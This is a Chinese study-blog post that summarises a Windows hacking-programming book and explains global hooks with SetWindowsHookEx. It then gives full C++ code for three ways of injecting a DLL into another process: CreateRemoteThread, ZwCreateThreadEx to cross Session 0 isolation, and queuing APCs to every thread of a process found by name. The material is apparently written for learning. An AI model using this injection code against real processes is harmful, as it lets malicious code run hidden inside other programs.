本博客代码 均来自 windows黑客编程技术详解
这章我还是看了好久 而且我在windows10下成功运行但是没有弹出来窗口 不知道怎么回事 但是注入是成功的
那么我还是看了看这章的内容
全局钩子的注入 其实也就是利用了微软提供的钩子函数 这里 的函数是 setwindowshookex
这个函数 第一个参数是 钩子类型 第二个是 钩子程序的指针 也就是我们提供钩子函数的地方 第三个可以提供dll句柄 也可以直接设置 NULL 第四个如果输入0的话 就是全局钩子
如果想搞全局钩子的话 那么必须用dll 如果不用dll的话 进程之间windows 是按隔离处理的 如果是dll 钩子函数会强制加载dll文件的 然后 钩子回调这别忘了 下发函数
其余好像也没有什么了 哦 别忘设置共享内存 要不然的话 不同进程 可能句柄不同
远线程注入的话 就比较巧妙了 但是也比较老旧了
这个其实 还是利用了 CreateRemoteThread 创建远线程 其中第四个 还有第五个参数 一个表示函数指针 一个表示参数
假如得到了 LoadLibrary地址 那么 再知道了 dll的名字 就可以实现注入
核心代码
void ShowError(char *pszText)
{
char szErr[MAX_PATH] = {0};
::wsprintf(szErr, "%s Error[%d]\n", pszText, ::GetLastError());
::MessageBox(NULL, szErr, "ERROR", MB_OK);
}
// 使用 CreateRemoteThread 实现远线程注入
BOOL CreateRemoteThreadInjectDll(DWORD dwProcessId, char *pszDllFileName)
{
HANDLE hProcess = NULL;
SIZE_T dwSize = 0;
LPVOID pDllAddr = NULL;
FARPROC pFuncProcAddr = NULL;
// 打开注入进程,获取进程句柄
hProcess = ::OpenProcess(PROCESS_ALL_ACCESS, FALSE, dwProcessId);
if (NULL == hProcess)
{
ShowError("OpenProcess");
return FALSE;
}
// 在注入进程中申请内存
dwSize = 1 + ::lstrlen(pszDllFileName);
pDllAddr = ::VirtualAllocEx(hProcess, NULL, dwSize, MEM_COMMIT, PAGE_READWRITE);
if (NULL == pDllAddr)
{
ShowError("VirtualAllocEx");
return FALSE;
}
// 向申请的内存中写入数据
if (FALSE == ::WriteProcessMemory(hProcess, pDllAddr, pszDllFileName, dwSize, NULL))
{
ShowError("WriteProcessMemory");
return FALSE;
}
// 获取LoadLibraryA函数地址
pFuncProcAddr = ::GetProcAddress(::GetModuleHandle("kernel32.dll"), "LoadLibraryA");
if (NULL == pFuncProcAddr)
{
ShowError("GetProcAddress_LoadLibraryA");
return FALSE;
}
// 使用 CreateRemoteThread 创建远线程, 实现 DLL 注入
HANDLE hRemoteThread = ::CreateRemoteThread(hProcess, NULL, 0, (LPTHREAD_START_ROUTINE)pFuncProcAddr, pDllAddr, 0, NULL);
if (NULL == hRemoteThread)
{
ShowError("CreateRemoteThread");
return FALSE;
}
// 关闭句柄
WaitForSingleObject(hRemoteThread, INFINITE);
::CloseHandle(hRemoteThread);
::CloseHandle(hProcess);
return TRUE;
}
然后是 突破SESSION 0的远程注入
这 用的是 ZWCreateThreadEx 函数 这个函数更加底层 因为 在应用层 这个应该是 最底层的 如果 创建线程 应该都会经过他 前面都一样 那么 代码 如下
#include "stdafx.h"
#include "InjectDll.h"
void ShowError(char *pszText)
{
char szErr[MAX_PATH] = {0};
::wsprintf(szErr, "%s Error[%d]\n", pszText, ::GetLastError());
::MessageBox(NULL, szErr, "ERROR", MB_OK);
}
// 使用 ZwCreateThreadEx 实现远线程注入
BOOL ZwCreateThreadExInjectDll(DWORD dwProcessId, char *pszDllFileName)
{
HANDLE hProcess = NULL;
SIZE_T dwSize = 0;
LPVOID pDllAddr = NULL;
FARPROC pFuncProcAddr = NULL;
HANDLE hRemoteThread = NULL;
DWORD dwStatus = 0;
// 打开注入进程,获取进程句柄
hProcess = ::OpenProcess(PROCESS_ALL_ACCESS, FALSE, dwProcessId);
if (NULL == hProcess)
{
ShowError("OpenProcess");
return FALSE;
}
// 在注入进程中申请内存
dwSize = 1 + ::lstrlen(pszDllFileName);
pDllAddr = ::VirtualAllocEx(hProcess, NULL, dwSize, MEM_COMMIT, PAGE_READWRITE);
if (NULL == pDllAddr)
{
ShowError("VirtualAllocEx");
return FALSE;
}
// 向申请的内存中写入数据
if (FALSE == ::WriteProcessMemory(hProcess, pDllAddr, pszDllFileName, dwSize, NULL))
{
ShowError("WriteProcessMemory");
return FALSE;
}
// 加载 ntdll.dll
HMODULE hNtdllDll = ::LoadLibrary("ntdll.dll");
if (NULL == hNtdllDll)
{
ShowError("LoadLirbary");
return FALSE;
}
// 获取LoadLibraryA函数地址
pFuncProcAddr = ::GetProcAddress(::GetModuleHandle("Kernel32.dll"), "LoadLibraryA");
if (NULL == pFuncProcAddr)
{
ShowError("GetProcAddress_LoadLibraryA");
return FALSE;
}
// 获取ZwCreateThread函数地址
#ifdef _WIN64
typedef DWORD(WINAPI *typedef_ZwCreateThreadEx)(
PHANDLE ThreadHandle,
ACCESS_MASK DesiredAccess,
LPVOID ObjectAttributes,
HANDLE ProcessHandle,
LPTHREAD_START_ROUTINE lpStartAddress,
LPVOID lpParameter,
ULONG CreateThreadFlags,
SIZE_T ZeroBits,
SIZE_T StackSize,
SIZE_T MaximumStackSize,
LPVOID pUnkown);
#else
typedef DWORD(WINAPI *typedef_ZwCreateThreadEx)(
PHANDLE ThreadHandle,
ACCESS_MASK DesiredAccess,
LPVOID ObjectAttributes,
HANDLE ProcessHandle,
LPTHREAD_START_ROUTINE lpStartAddress,
LPVOID lpParameter,
BOOL CreateSuspended,
DWORD dwStackSize,
DWORD dw1,
DWORD dw2,
LPVOID pUnkown);
#endif
typedef_ZwCreateThreadEx ZwCreateThreadEx = (typedef_ZwCreateThreadEx)::GetProcAddress(hNtdllDll, "ZwCreateThreadEx");
if (NULL == ZwCreateThreadEx)
{
ShowError("GetProcAddress_ZwCreateThread");
return FALSE;
}
// 使用 ZwCreateThreadEx 创建远线程, 实现 DLL 注入
dwStatus = ZwCreateThreadEx(&hRemoteThread, PROCESS_ALL_ACCESS, NULL, hProcess, (LPTHREAD_START_ROUTINE)pFuncProcAddr, pDllAddr, 0, 0, 0, 0, NULL);
if (NULL == hRemoteThread)
{
ShowError("ZwCreateThreadEx");
return FALSE;
}
// 关闭句柄
::CloseHandle(hProcess);
::FreeLibrary(hNtdllDll);
return TRUE;
}
然后是 APC注入 举个dishui 讲师说的例子把
线程不可能是被 “杀死” “挂起” “恢复”的 因为 线程自己占据着CPU 他怎么可能会被杀死呢 在它暂居cpu的时候 谁又能杀死它呢 只有它自己杀死自己了 那么我们可以提供一个函数 让他自己去调用 这个就是apc 异步过程调用
那么 每个线程都有自己的apc队列 我们只需要插入自己写的就行了 那么 一个进程可能包含多个线程 我们可以每个都给插入 实现代码如下
#include "stdafx.h"
#include "ApcInject.h"
void ShowError(char *pszText)
{
char szErr[MAX_PATH] = { 0 };
::wsprintf(szErr, "%s Error[%d]\n", pszText);
::MessageBox(NULL, szErr, "ERROR", MB_OK | MB_ICONERROR);
}
// 根据进程名称获取PID
DWORD GetProcessIdByProcessName(char *pszProcessName)
{
DWORD dwProcessId = 0;
PROCESSENTRY32 pe32 = { 0 };
HANDLE hSnapshot = NULL;
BOOL bRet = FALSE;
::RtlZeroMemory(&pe32, sizeof(pe32));
pe32.dwSize = sizeof(pe32);
// 获取进程快照
hSnapshot = ::CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
if (NULL == hSnapshot)
{
ShowError("CreateToolhelp32Snapshot");
return dwProcessId;
}
// 获取第一条进程快照信息
bRet = ::Process32First(hSnapshot, &pe32);
while (bRet)
{
// 获取快照信息
if (0 == ::lstrcmpi(pe32.szExeFile, pszProcessName))
{
dwProcessId = pe32.th32ProcessID;
break;
}
// 遍历下一个进程快照信息
bRet = ::Process32Next(hSnapshot, &pe32);
}
return dwProcessId;
}
// 根据PID获取所有的相应线程ID
BOOL GetAllThreadIdByProcessId(DWORD dwProcessId, DWORD **ppThreadId, DWORD *pdwThreadIdLength)
{
DWORD *pThreadId = NULL;
DWORD dwThreadIdLength = 0;
DWORD dwBufferLength = 1000;
THREADENTRY32 te32 = { 0 };
HANDLE hSnapshot = NULL;
BOOL bRet = TRUE;
do
{
// 申请内存
pThreadId = new DWORD[dwBufferLength];
if (NULL == pThreadId)
{
ShowError("new");
bRet = FALSE;
break;
}
::RtlZeroMemory(pThreadId, (dwBufferLength * sizeof(DWORD)));
// 获取线程快照
::RtlZeroMemory(&te32, sizeof(te32));
te32.dwSize = sizeof(te32);
hSnapshot = ::CreateToolhelp32Snapshot(TH32CS_SNAPTHREAD, 0);
if (NULL == hSnapshot)
{
ShowError("CreateToolhelp32Snapshot");
bRet = FALSE;
break;
}
// 获取第一条线程快照信息
bRet = ::Thread32First(hSnapshot, &te32);
while (bRet)
{
// 获取进程对应的线程ID
if (te32.th32OwnerProcessID == dwProcessId)
{
pThreadId[dwThreadIdLength] = te32.th32ThreadID;
dwThreadIdLength++;
}
// 遍历下一个线程快照信息
bRet = ::Thread32Next(hSnapshot, &te32);
}
// 返回
*ppThreadId = pThreadId;
*pdwThreadIdLength = dwThreadIdLength;
bRet = TRUE;
} while (FALSE);
if (FALSE == bRet)
{
if (pThreadId)
{
delete[]pThreadId;
pThreadId = NULL;
}
}
return bRet;
}
// APC注入
BOOL ApcInjectDll(char *pszProcessName, char *pszDllName)
{
BOOL bRet = FALSE;
DWORD dwProcessId = 0;
DWORD *pThreadId = NULL;
DWORD dwThreadIdLength = 0;
HANDLE hProcess = NULL, hThread = NULL;
PVOID pBaseAddress = NULL;
PVOID pLoadLibraryAFunc = NULL;
SIZE_T dwRet = 0, dwDllPathLen = 1 + ::lstrlen(pszDllName);
DWORD i = 0;
do
{
// 根据进程名称获取PID
dwProcessId = GetProcessIdByProcessName(pszProcessName);
if (0 >= dwProcessId)
{
bRet = FALSE;
break;
}
// 根据PID获取所有的相应线程ID
bRet = GetAllThreadIdByProcessId(dwProcessId, &pThreadId, &dwThreadIdLength);
if (FALSE == bRet)
{
bRet = FALSE;
break;
}
// 打开注入进程
hProcess = ::OpenProcess(PROCESS_ALL_ACCESS, FALSE, dwProcessId);
if (NULL == hProcess)
{
ShowError("OpenProcess");
bRet = FALSE;
break;
}
// 在注入进程空间申请内存
pBaseAddress = ::VirtualAllocEx(hProcess, NULL, dwDllPathLen, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
if (NULL == pBaseAddress)
{
ShowError("VirtualAllocEx");
bRet = FALSE;
break;
}
// 向申请的空间中写入DLL路径数据
::WriteProcessMemory(hProcess, pBaseAddress, pszDllName, dwDllPathLen, &dwRet);
if (dwRet != dwDllPathLen)
{
ShowError("WriteProcessMemory");
bRet = FALSE;
break;
}
// 获取 LoadLibrary 地址
pLoadLibraryAFunc = ::GetProcAddress(::GetModuleHandle("kernel32.dll"), "LoadLibraryA");
if (NULL == pLoadLibraryAFunc)
{
ShowError("GetProcessAddress");
bRet = FALSE;
break;
}
// 遍历线程, 插入APC
for (i = 0; i < dwThreadIdLength; i++)
{
// 打开线程
hThread = ::OpenThread(THREAD_ALL_ACCESS, FALSE, pThreadId[i]);
if (hThread)
{
// 插入APC
::QueueUserAPC((PAPCFUNC)pLoadLibraryAFunc, hThread, (ULONG_PTR)pBaseAddress);
// 关闭线程句柄
::CloseHandle(hThread);
hThread = NULL;
}
}
bRet = TRUE;
} while (FALSE);
// 释放内存
if (hProcess)
{
::CloseHandle(hProcess);
hProcess = NULL;
}
if (pThreadId)
{
delete[]pThreadId;
pThreadId = NULL;
}
return bRet;
}